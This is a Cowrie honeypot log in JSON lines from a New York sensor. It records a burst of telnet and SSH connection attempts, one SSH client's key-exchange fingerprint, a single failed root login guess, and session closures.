{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":44430,"dst_ip":"10.17.0.5","dst_port":22,"session":"57587e58de0f","protocol":"ssh","message":"New connection: 171.244.143.209:44430 (10.17.0.5:22) [session: 57587e58de0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:57.836333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:57.856290Z","src_ip":"171.244.143.209","session":"57587e58de0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:58.096950Z","src_ip":"171.244.143.209","session":"57587e58de0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52386,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2a93222d199","protocol":"telnet","message":"New connection: 167.71.198.239:52386 (159.203.135.109:23) [session: c2a93222d199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:58.809520Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"e42c3b91e80f","protocol":"telnet","message":"New connection: 167.71.198.239:52516 (159.203.135.109:23) [session: e42c3b91e80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:58.927605Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@abcde","message":"login attempt [root/12345@abcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:01:59.094059Z","src_ip":"171.244.143.209","session":"57587e58de0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:00.342126Z","src_ip":"171.244.143.209","session":"57587e58de0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50618,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5e32c52858","protocol":"telnet","message":"New connection: 85.190.254.94:50618 (10.17.0.5:23) [session: bd5e32c52858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:01.855460Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee34c188fe35","protocol":"telnet","message":"New connection: 167.71.198.239:56456 (159.203.135.109:23) [session: ee34c188fe35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:01.861465Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58368,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a33f11d8c84","protocol":"telnet","message":"New connection: 167.71.198.239:58368 (159.203.135.109:23) [session: 5a33f11d8c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:03.472820Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59108,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fb19f13b045","protocol":"telnet","message":"New connection: 167.71.198.239:59108 (159.203.135.109:23) [session: 3fb19f13b045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:03.844486Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":32872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9455d9c5689","protocol":"telnet","message":"New connection: 167.71.198.239:32872 (159.203.135.109:23) [session: f9455d9c5689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:05.562447Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35850,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b2d30cccd2","protocol":"telnet","message":"New connection: 85.190.254.94:35850 (10.17.0.5:23) [session: 49b2d30cccd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:05.572052Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":34344,"dst_ip":"159.203.135.109","dst_port":23,"session":"97dd9efb6b06","protocol":"telnet","message":"New connection: 167.71.198.239:34344 (159.203.135.109:23) [session: 97dd9efb6b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:06.634517Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41924,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6ead4066d8","protocol":"telnet","message":"New connection: 85.190.254.94:41924 (10.17.0.5:23) [session: 0b6ead4066d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:06.950032Z"}
{"eventid":"cowrie.session.closed","duration":30.298128604888916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:07.151586Z","src_ip":"85.190.254.94","session":"0050a68564db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"683bf58f83cf","protocol":"telnet","message":"New connection: 85.190.254.94:44032 (10.17.0.5:23) [session: 683bf58f83cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:07.536215Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":35546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21eb74c1ce0","protocol":"telnet","message":"New connection: 167.71.198.239:35546 (159.203.135.109:23) [session: a21eb74c1ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:07.688073Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":35600,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be9bd300d66","protocol":"telnet","message":"New connection: 167.71.198.239:35600 (159.203.135.109:23) [session: 0be9bd300d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:07.707894Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46320,"dst_ip":"10.17.0.5","dst_port":23,"session":"3242a0b99902","protocol":"telnet","message":"New connection: 85.190.254.94:46320 (10.17.0.5:23) [session: 3242a0b99902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:08.057232Z"}
{"eventid":"cowrie.session.closed","duration":30.4163715839386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:08.319045Z","src_ip":"85.190.254.94","session":"c4c4def939e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33018,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9ea051dd18","protocol":"telnet","message":"New connection: 167.71.198.239:33018 (159.203.135.109:23) [session: 6e9ea051dd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:08.620625Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":36932,"dst_ip":"159.203.135.109","dst_port":23,"session":"16a68b918510","protocol":"telnet","message":"New connection: 167.71.198.239:36932 (159.203.135.109:23) [session: 16a68b918510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:08.779189Z"}
{"eventid":"cowrie.session.closed","duration":30.177085876464844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:09.046769Z","src_ip":"85.190.254.94","session":"a06d3846a5f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50274,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2264480ac1f","protocol":"telnet","message":"New connection: 85.190.254.94:50274 (10.17.0.5:23) [session: c2264480ac1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:09.156712Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":37824,"dst_ip":"159.203.135.109","dst_port":23,"session":"b167ac3ef057","protocol":"telnet","message":"New connection: 167.71.198.239:37824 (159.203.135.109:23) [session: b167ac3ef057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:09.502627Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":38148,"dst_ip":"159.203.135.109","dst_port":23,"session":"805b77f85005","protocol":"telnet","message":"New connection: 167.71.198.239:38148 (159.203.135.109:23) [session: 805b77f85005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:09.678848Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2f2188fbf3","protocol":"telnet","message":"New connection: 167.71.198.239:38298 (159.203.135.109:23) [session: 4a2f2188fbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:09.788446Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8158dbb750f","protocol":"telnet","message":"New connection: 85.190.254.94:36040 (10.17.0.5:23) [session: f8158dbb750f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:12.878169Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":42662,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d86174312dd","protocol":"telnet","message":"New connection: 167.71.198.239:42662 (159.203.135.109:23) [session: 4d86174312dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:13.662109Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44090,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc5d9463d126","protocol":"telnet","message":"New connection: 167.71.198.239:44090 (159.203.135.109:23) [session: bc5d9463d126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:14.791832Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44302,"dst_ip":"159.203.135.109","dst_port":23,"session":"da64eda19e21","protocol":"telnet","message":"New connection: 167.71.198.239:44302 (159.203.135.109:23) [session: da64eda19e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:14.928321Z"}
{"eventid":"cowrie.session.closed","duration":30.933131217956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:15.048400Z","src_ip":"85.190.254.94","session":"36dcbb340ac2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":45018,"dst_ip":"159.203.135.109","dst_port":23,"session":"82fa117c88cd","protocol":"telnet","message":"New connection: 167.71.198.239:45018 (159.203.135.109:23) [session: 82fa117c88cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:15.615488Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45990,"dst_ip":"10.17.0.5","dst_port":23,"session":"099f718de9f1","protocol":"telnet","message":"New connection: 85.190.254.94:45990 (10.17.0.5:23) [session: 099f718de9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:15.720518Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46546,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc2210ae7623","protocol":"telnet","message":"New connection: 85.190.254.94:46546 (10.17.0.5:23) [session: cc2210ae7623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:15.921790Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":45104,"dst_ip":"159.203.135.109","dst_port":23,"session":"260d0121a5d7","protocol":"telnet","message":"New connection: 167.71.198.239:45104 (159.203.135.109:23) [session: 260d0121a5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:17.690669Z"}
{"eventid":"cowrie.session.closed","duration":30.728721618652344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.199549Z","src_ip":"85.190.254.94","session":"6beda8e319f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":48444,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd3a4131f00a","protocol":"telnet","message":"New connection: 167.71.198.239:48444 (159.203.135.109:23) [session: dd3a4131f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.296893Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"205c8fdfae81","protocol":"telnet","message":"New connection: 167.71.198.239:48488 (159.203.135.109:23) [session: 205c8fdfae81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.345694Z"}
{"eventid":"cowrie.session.closed","duration":30.477895259857178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.360446Z","src_ip":"85.190.254.94","session":"99e3c7ca5ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":56058,"dst_ip":"10.17.0.5","dst_port":23,"session":"866c8af5e7f0","protocol":"telnet","message":"New connection: 85.190.254.94:56058 (10.17.0.5:23) [session: 866c8af5e7f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.569271Z"}
{"eventid":"cowrie.session.closed","duration":31.080650329589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.742908Z","src_ip":"85.190.254.94","session":"1ef23b417c5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57040,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60451251ae5","protocol":"telnet","message":"New connection: 85.190.254.94:57040 (10.17.0.5:23) [session: e60451251ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.855805Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57150,"dst_ip":"10.17.0.5","dst_port":23,"session":"e71adfe0d4c9","protocol":"telnet","message":"New connection: 85.190.254.94:57150 (10.17.0.5:23) [session: e71adfe0d4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:18.879108Z"}
{"eventid":"cowrie.session.closed","duration":30.82412552833557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.059974Z","src_ip":"85.190.254.94","session":"1e461fa7a275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78053069114685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.065579Z","src_ip":"85.190.254.94","session":"3179511dca67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058482885360718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.096314Z","src_ip":"85.190.254.94","session":"445e225b61cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91276526451111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.358808Z","src_ip":"85.190.254.94","session":"f432c5ae7275","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ada2242d6ee","protocol":"telnet","message":"New connection: 85.190.254.94:59342 (10.17.0.5:23) [session: 9ada2242d6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.381592Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59502,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60ee14fe7e7","protocol":"telnet","message":"New connection: 85.190.254.94:59502 (10.17.0.5:23) [session: f60ee14fe7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.412894Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60390,"dst_ip":"10.17.0.5","dst_port":23,"session":"c830243a00d9","protocol":"telnet","message":"New connection: 85.190.254.94:60390 (10.17.0.5:23) [session: c830243a00d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.601332Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fc293e8bb3","protocol":"telnet","message":"New connection: 85.190.254.94:60458 (10.17.0.5:23) [session: c9fc293e8bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.621752Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":33568,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eee70c7ab9a","protocol":"telnet","message":"New connection: 85.190.254.94:33568 (10.17.0.5:23) [session: 6eee70c7ab9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:19.975044Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":51206,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e9150704e7","protocol":"telnet","message":"New connection: 167.71.198.239:51206 (159.203.135.109:23) [session: 60e9150704e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:20.128590Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":50652,"dst_ip":"159.203.135.109","dst_port":23,"session":"719d90bc3279","protocol":"telnet","message":"New connection: 167.71.198.239:50652 (159.203.135.109:23) [session: 719d90bc3279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:20.648646Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52630,"dst_ip":"159.203.135.109","dst_port":23,"session":"284672698765","protocol":"telnet","message":"New connection: 167.71.198.239:52630 (159.203.135.109:23) [session: 284672698765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:21.224750Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2a2df5db6af","protocol":"telnet","message":"New connection: 85.190.254.94:38198 (10.17.0.5:23) [session: a2a2df5db6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:21.282376Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":59020,"dst_ip":"159.203.135.109","dst_port":23,"session":"f682accc01f8","protocol":"telnet","message":"New connection: 136.244.67.81:59020 (159.203.135.109:23) [session: f682accc01f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:21.401897Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":39620,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a465741261f","protocol":"telnet","message":"New connection: 85.190.254.94:39620 (10.17.0.5:23) [session: 3a465741261f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:21.592720Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a8be6419b6","protocol":"telnet","message":"New connection: 85.190.254.94:40636 (10.17.0.5:23) [session: 05a8be6419b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:21.903358Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":53946,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbc1e6de5687","protocol":"telnet","message":"New connection: 167.71.198.239:53946 (159.203.135.109:23) [session: fbc1e6de5687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:22.072538Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":54158,"dst_ip":"159.203.135.109","dst_port":23,"session":"a016dfb51aae","protocol":"telnet","message":"New connection: 167.71.198.239:54158 (159.203.135.109:23) [session: a016dfb51aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:22.313403Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3cfecb8533e","protocol":"telnet","message":"New connection: 85.190.254.94:42414 (10.17.0.5:23) [session: d3cfecb8533e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:22.464581Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42794,"dst_ip":"10.17.0.5","dst_port":23,"session":"07e45fd61da6","protocol":"telnet","message":"New connection: 85.190.254.94:42794 (10.17.0.5:23) [session: 07e45fd61da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:22.581408Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff009caa9b5","protocol":"telnet","message":"New connection: 85.190.254.94:43584 (10.17.0.5:23) [session: 6ff009caa9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:22.784736Z"}
{"eventid":"cowrie.session.closed","duration":30.61089777946472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:23.085796Z","src_ip":"85.190.254.94","session":"fef66473ff40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56380,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7df85706731","protocol":"telnet","message":"New connection: 167.71.198.239:56380 (159.203.135.109:23) [session: b7df85706731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:23.663427Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":56378,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f79f27579b1","protocol":"telnet","message":"New connection: 167.71.198.239:56378 (159.203.135.109:23) [session: 8f79f27579b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:23.686196Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f266659f4a","protocol":"telnet","message":"New connection: 85.190.254.94:49512 (10.17.0.5:23) [session: f0f266659f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:24.366635Z"}
{"eventid":"cowrie.session.closed","duration":30.459920644760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:25.046344Z","src_ip":"85.190.254.94","session":"eba8ddbfab2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438615083694458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:25.057021Z","src_ip":"85.190.254.94","session":"725025090634","protocol":"telnet"}
